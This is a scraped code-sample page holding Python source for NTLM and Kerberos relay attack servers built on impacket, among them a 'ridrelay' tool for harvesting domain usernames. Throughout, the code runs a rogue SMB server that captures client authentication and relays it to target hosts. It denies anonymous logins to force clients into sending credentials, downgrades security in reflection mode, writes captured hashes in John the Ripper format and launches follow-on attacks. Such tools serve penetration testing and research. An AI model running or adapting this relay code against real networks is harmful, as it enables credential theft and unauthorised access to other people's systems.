                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid']     = recvPacket['Pid']
                    packet['Tid']     = recvPacket['Tid']
                    packet['Mid']     = recvPacket['Mid']
                    packet['Uid']     = recvPacket['Uid']
                    packet['Data']    = '\x00\x00\x00'
                    packet['ErrorCode']   = errorCode >> 16
                    packet['ErrorClass']  = errorCode & 0xff

                    LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
                    self.target.scheme, self.target.netloc, authenticateMessage['domain_name'],
                    authenticateMessage['user_name']))

                    #Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)

                    client.killConnection()

                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
                    self.target.scheme, self.target.netloc, authenticateMessage['domain_name'], authenticateMessage['user_name']))

                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target, True)

                    ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
                                                        authenticateMessage['user_name'],
                                                        authenticateMessage['domain_name'],
                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
                    client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())

                    del (smbData[self.target])

                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = '\x00'

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
            respData['SecurityBlob']       = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData       = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])

            client = smbData[self.target]['SMBClient']
            _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid']     = recvPacket['Pid']
                packet['Tid']     = recvPacket['Tid']
                packet['Mid']     = recvPacket['Mid']
                packet['Uid']     = recvPacket['Uid']
                packet['Data']    = '\x00\x00\x00'
                packet['ErrorCode']   = errorCode >> 16
                packet['ErrorClass']  = errorCode & 0xff

                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)

                # Finish client's connection
                #client.killConnection()

                return None, [packet], errorCode
            else:
                # We have a session, create a thread and do whatever we want
                LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
                    self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'],
                    sessionSetupData['Account']))

                self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper()

                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True)

                ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
                                                    sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                del (smbData[self.target])

                self.do_attack(client)
                # Now continue with the server
            #############################################################

        respData['NativeOS']     = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data']       = respData

        # From now on, the client can ask for other commands
        connData['Authenticated'] = True

        #############################################################
        # SMBRelay
        smbServer.setConnectionData('SMBRelay', smbData)
        #############################################################
        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
    ################################################################################

    #Initialize the correct client for the relay target
    def init_client(self,extSec):
        if self.target.scheme.upper() in self.config.protocolClients:
            client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec)
            client.initConnection()
        else:
            raise Exception('Protocol Client for %s not found!' % self.target.scheme)


        return client

    def do_ntlm_negotiate(self,client,token):
        #Since the clients all support the same operations there is no target protocol specific code needed for now
        return client.sendNegotiate(token)

    def do_ntlm_auth(self,client,SPNEGO_token,challenge):
        #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB
        clientResponse, errorCode = client.sendAuth(str(SPNEGO_token), challenge)

        return clientResponse, errorCode

    def do_attack(self,client):
        #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties
        # Check if SOCKS is enabled and if we support the target scheme
        if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes:
            if self.config.runSocks is True:
                # Pass all the data to the socksplugins proxy
                activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(),
                                       self.authUser, client, client.sessionData))
                return

        # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
        if self.target.scheme.upper() in self.config.attacks:
            # We have an attack.. go for it
            clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser)
            clientThread.start()
        else:
            LOG.error('No attack configured for %s' % self.target.scheme.upper())

    def _start(self):
        self.server.daemon_threads=True
        self.server.serve_forever()
        LOG.info('Shutting down SMB Server')
        self.server.server_close()

    def run(self):
        LOG.info("Setting up SMB Server")
        self._start()
Ejemplo n.º 19
0
                        'target to relay TO')
    parser.add_argument('--out-file',
                        '-o',
                        metavar='OUTFILE',
                        help='The file to output usernames to.')
    args = parser.parse_args()

    logger.init()
    print 'ridrelay v0.2 - Get domain usernames by relaying low priv creds!\n'

    logging.getLogger().setLevel(logging.INFO)
    logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)

    codec = sys.getdefaultencoding()

    targetSystem = TargetsProcessor(singleTarget=args.target,
                                    protocolClients=PROTOCOL_CLIENTS)

    threads = set()

    for server in RELAY_SERVERS:
        # Set up config
        c = NTLMRelayxConfig()
        c.setProtocolClients(PROTOCOL_CLIENTS)
        c.setRunSocks(False, None)
        c.setTargets(targetSystem)
        c.setEncoding(codec)
        c.setAttacks(ATTACKS)
        c.setOutputFile(args.out_file)
        c.setSMB2Support(True)
        c.setInterfaceIp('')
        if server == HTTPRelayServer:
Ejemplo n.º 20
0
class SMBRelayServer(Thread):
    def __init__(self, config):
        Thread.__init__(self)
        self.daemon = True
        self.server = 0
        #Config object
        self.config = config
        #Current target IP
        self.target = None
        #Targets handler
        self.targetprocessor = self.config.target
        #Username we auth as gets stored here later
        self.authUser = None
        self.proxyTranslator = None

        # Here we write a mini config for the server
        smbConfig = ConfigParser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global', 'server_name', 'server_name')
        smbConfig.set('global', 'server_os', 'UNIX')
        smbConfig.set('global', 'server_domain', 'WORKGROUP')
        smbConfig.set('global', 'log_file', 'smb.log')
        smbConfig.set('global', 'credentials_file', '')

        if self.config.smb2support is True:
            smbConfig.set("global", "SMB2Support", "True")
        else:
            smbConfig.set("global", "SMB2Support", "False")

        if self.config.outputFile is not None:
            smbConfig.set('global', 'jtr_dump_path', self.config.outputFile)

        # IPC always needed
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$', 'comment', '')
        smbConfig.set('IPC$', 'read only', 'yes')
        smbConfig.set('IPC$', 'share type', '3')
        smbConfig.set('IPC$', 'path', '')

        # Change address_family to IPv6 if this is configured
        if self.config.ipv6:
            SMBSERVER.address_family = socket.AF_INET6

        # changed to dereference configuration interfaceIp
        self.server = SMBSERVER((config.interfaceIp, 445),
                                config_parser=smbConfig)
        logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)

        self.server.processConfigFile()

        self.origSmbComNegotiate = self.server.hookSmbCommand(
            smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
        self.origSmbSessionSetupAndX = self.server.hookSmbCommand(
            smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)

        self.origSmbNegotiate = self.server.hookSmb2Command(
            smb3.SMB2_NEGOTIATE, self.SmbNegotiate)
        self.origSmbSessionSetup = self.server.hookSmb2Command(
            smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)
        # Let's use the SMBServer Connection dictionary to keep track of our client connections as well
        #TODO: See if this is the best way to accomplish this

        # changed to dereference configuration interfaceIp
        self.server.addConnection('SMBRelay', config.interfaceIp, 445)

    ### SMBv2 Part #################################################################
    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        LOG.info("SMBD: Received connection from %s" % (connData['ClientIP']))

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = smb3.SMB2_NEGOTIATE
        respPacket['SessionID'] = 0

        if isSMB1 is False:
            respPacket['MessageID'] = recvPacket['MessageID']
        else:
            respPacket['MessageID'] = 0

        respPacket['TreeID'] = 0

        respSMBCommand = smb3.SMB2Negotiate_Response()

        # Just for the Nego Packet, then disable it
        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

        if isSMB1 is True:
            # Let's first parse the packet to see if the client supports SMB2
            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

            dialects = SMBCommand['Data'].split(b'\x02')
            if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
            else:
                # Client does not support SMB2 fallbacking
                raise Exception('Client does not support SMB2, fallbacking')
        else:
            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

        respSMBCommand['ServerGuid'] = b(''.join(
            [random.choice(string.ascii_letters) for _ in range(16)]))
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaxTransactSize'] = 65536
        respSMBCommand['MaxReadSize'] = 65536
        respSMBCommand['MaxWriteSize'] = 65536
        respSMBCommand['SystemTime'] = getFileTime(
            calendar.timegm(time.gmtime()))
        respSMBCommand['ServerStartTime'] = getFileTime(
            calendar.timegm(time.gmtime()))
        respSMBCommand['SecurityBufferOffset'] = 0x80

        blob = GSSAPIHeader_SPNEGO_Init2()
        blob['tokenOid'] = '1.3.6.1.5.5.2'
        blob['innerContextToken']['mechTypes'].extend([
            MechType(TypesMech['KRB5 - Kerberos 5']),
            MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
            MechType(
                TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
            )
        ])
        blob['innerContextToken']['negHints'][
            'hintName'] = "not_defined_in_RFC4178@please_ignore"
        respSMBCommand['Buffer'] = encoder.encode(blob)

        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

        respPacket['Data'] = respSMBCommand

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], STATUS_SUCCESS

    # This is SMB2
    def SmbSessionSetup(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus=False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb3.SMB2SessionSetup_Response()
        sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])

        connData['Capabilities'] = sessionSetupData['Capabilities']

        securityBlob = sessionSetupData['Buffer']

        rawNTLM = False
        if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:

            # negTokenInit packet
            try:
                blob = decoder.decode(securityBlob,
                                      asn1Spec=GSSAPIHeader_SPNEGO_Init())[0]
                token = blob['innerContextToken']['negTokenInit']['mechToken']

                if len(blob['innerContextToken']['negTokenInit']
                       ['mechTypes']) > 0:
                    # Is this GSSAPI NTLM or something else we don't support?
                    mechType = blob['innerContextToken']['negTokenInit'][
                        'mechTypes'][0]
                    if str(mechType) != TypesMech['KRB5 - Kerberos 5'] and str(mechType) != \
                                     TypesMech['MS KRB5 - Microsoft Kerberos 5']:
                        # Nope, do we know it?
                        if str(mechType) in MechTypes:
                            mechStr = MechTypes[str(mechType)]
                        else:
                            mechStr = mechType
                        smbServer.log("Unsupported MechType '%s'" % mechStr,
                                      logging.CRITICAL)
                        # We don't know the token, we answer back again saying
                        # we just support Kerberos.
                        respToken = NegotiationToken()
                        respToken['negTokenResp']['negResult'] = 'request_mic'
                        respToken['negTokenResp']['supportedMech'] = TypesMech[
                            'KRB5 - Kerberos 5']
                        respTokenData = encoder.encode(respToken)
                        respSMBCommand['SecurityBufferOffset'] = 0x48
                        respSMBCommand['SecurityBufferLength'] = len(
                            respTokenData)
                        respSMBCommand['Buffer'] = respTokenData

                        return [respSMBCommand
                                ], None, STATUS_MORE_PROCESSING_REQUIRED
                    else:

                        # This is Kerberos, we can do something with this
                        try:
                            # If you're looking for the magic, it's in lib/utils/kerberos.py
                            authdata = get_kerberos_loot(
                                securityBlob, self.config)

                            # If we are here, it was succesful

                            # Are we in attack mode? If so, launch attack against all targets
                            if self.config.mode == 'ATTACK':
                                self.do_attack(authdata)

                            # This ignores all signing stuff
                            # causes connection resets
                            # Todo: reply properly!

                            respToken = NegotiationToken()
                            # accept-completed
                            respToken['negTokenResp'][
                                'negResult'] = 'accept_completed'

                            respSMBCommand['SecurityBufferOffset'] = 0x48
                            respSMBCommand['SecurityBufferLength'] = len(
                                respToken)
                            respSMBCommand['Buffer'] = encoder.encode(
                                respToken)

                            smbServer.setConnectionData(connId, connData)

                            return [respSMBCommand], None, STATUS_SUCCESS

                        # Somehow the function above catches all exceptions and hides them
                        # which is pretty annoying
                        except Exception as e:
                            import traceback
                            traceback.print_exc()
                            raise

                        pass
            except:
                import traceback
                traceback.print_exc()
        else:
            # No GSSAPI stuff, we can't do anything with this
            smbServer.log("No negTokenInit sent by client", logging.CRITICAL)
            raise Exception('No negTokenInit sent by client')

        respSMBCommand['SecurityBufferOffset'] = 0x48
        respSMBCommand['SecurityBufferLength'] = len(respToken)
        respSMBCommand['Buffer'] = respToken.getData()

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode

    ################################################################################

    ### SMBv1 Part #################################################################
    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus=False)
        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(
                singleTarget='SMB://%s:445/' % connData['ClientIP'])

        #TODO: Check if a cache is better because there is no way to know which target was selected for this victim
        # except for relying on the targetprocessor selecting the same target unless a relay was already done
        self.target = self.targetprocessor.getTarget()

        #############################################################
        # SMBRelay
        # Get the data for all connections
        smbData = smbServer.getConnectionData('SMBRelay', False)

        if smbData.has_key(self.target):
            # Remove the previous connection and use the last one
            smbClient = smbData[self.target]['SMBClient']
            del smbClient
            del smbData[self.target]

        LOG.info(
            "SMBD: Received connection from %s, attacking target %s://%s" %
            (connData['ClientIP'], self.target.scheme, self.target.netloc))

        try:
            if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
                extSec = False
            else:
                if self.config.mode.upper() == 'REFLECTION':
                    # Force standard security when doing reflection
                    LOG.debug("Downgrading to standard security")
                    extSec = False
                    recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
                else:
                    extSec = True

            #Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            smbData[self.target] = {}
            smbData[self.target]['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData('SMBRelay', smbData)
            smbServer.setConnectionData(connId, connData)

        return self.origSmbComNegotiate(connId, smbServer, SMBCommand,
                                        recvPacket)
        #############################################################

    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus=False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters'][
                'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            )
            respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
                'SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            if struct.unpack(
                    'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
                # If there no GSSAPI ID, it must be an AUTH packet
                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
                token = blob['ResponseToken']
            else:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
                token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack(
                '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = smbData[self.target]['SMBClient']
                try:
                    challengeMessage = self.do_ntlm_negotiate(client, token)
                except Exception as e:
                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)
                    # Raise exception again to pass it on to the SMB server
                    raise

                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = b'\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']
                respToken['ResponseToken'] = str(challengeMessage)

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED

                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10

                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication
                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = smbData[self.target]['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    self.authUser = (
                        '%s/%s' %
                        (authenticateMessage['domain_name'].decode('utf-16le'),
                         authenticateMessage['user_name'].decode('utf-16le'))
                    ).upper()

                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, sessionSetupData['SecurityBlob'],
                        connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet[
                        'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet[
                        'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid'] = recvPacket['Pid']
                    packet['Tid'] = recvPacket['Tid']
                    packet['Mid'] = recvPacket['Mid']
                    packet['Uid'] = recvPacket['Uid']
                    packet['Data'] = b'\x00\x00\x00'
                    packet['ErrorCode'] = errorCode >> 16
                    packet['ErrorClass'] = errorCode & 0xff

                    LOG.error(
                        "Authenticating against %s://%s as %s\%s FAILED" %
                        (self.target.scheme, self.target.netloc,
                         authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))

                    #Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)

                    client.killConnection()

                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    LOG.info(
                        "Authenticating against %s://%s as %s\%s SUCCEED" %
                        (self.target.scheme, self.target.netloc,
                         authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))

                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target, True)

                    ntlm_hash_data = outputToJohnFormat(
                        connData['CHALLENGE_MESSAGE']['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())

                    del (smbData[self.target])

                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = b'\x00'

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters[
                'SecurityBlobLength']
            respData['SecurityBlob'] = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                'AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                'UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])

            client = smbData[self.target]['SMBClient']
            _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet[
                    'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet[
                    'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid'] = recvPacket['Pid']
                packet['Tid'] = recvPacket['Tid']
                packet['Mid'] = recvPacket['Mid']
                packet['Uid'] = recvPacket['Uid']
                packet['Data'] = '\x00\x00\x00'
                packet['ErrorCode'] = errorCode >> 16
                packet['ErrorClass'] = errorCode & 0xff

                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)

                # Finish client's connection
                #client.killConnection()

                return None, [packet], errorCode
            else:
                # We have a session, create a thread and do whatever we want
                LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" %
                         (self.target.scheme, self.target.netloc,
                          sessionSetupData['PrimaryDomain'],
                          sessionSetupData['Account']))

                self.authUser = ('%s/%s' %
                                 (sessionSetupData['PrimaryDomain'],
                                  sessionSetupData['Account'])).upper()

                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True)

                ntlm_hash_data = outputToJohnFormat(
                    '', sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                del (smbData[self.target])

                self.do_attack(client)
                # Now continue with the server
            #############################################################

        respData['NativeOS'] = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        # From now on, the client can ask for other commands
        connData['Authenticated'] = True

        #############################################################
        # SMBRelay
        smbServer.setConnectionData('SMBRelay', smbData)
        #############################################################
        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode

    ################################################################################

    def do_attack(self, authdata):
        # Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties
        self.authUser = '******' % (authdata['domain'], authdata['username'])
        # No SOCKS, since socks is pointless when you can just export the tickets
        # instead we iterate over all the targets
        for target in self.config.target.originalTargets:
            parsed_target = target
            if parsed_target.scheme.upper() in self.config.attacks:
                client = self.config.protocolClients[target.scheme.upper()](
                    self.config, parsed_target)
                client.initConnection(authdata, self.config.dcip)
                # We have an attack.. go for it
                attack = self.config.attacks[parsed_target.scheme.upper()]
                client_thread = attack(self.config, client.session,
                                       self.authUser)
                client_thread.start()
            else:
                LOG.error('No attack configured for %s',
                          parsed_target.scheme.upper())

    def _start(self):
        self.server.daemon_threads = True
        self.server.serve_forever()
        LOG.info('Shutting down SMB Server')
        self.server.server_close()

    def run(self):
        LOG.info("Setting up SMB Server")
        self._start()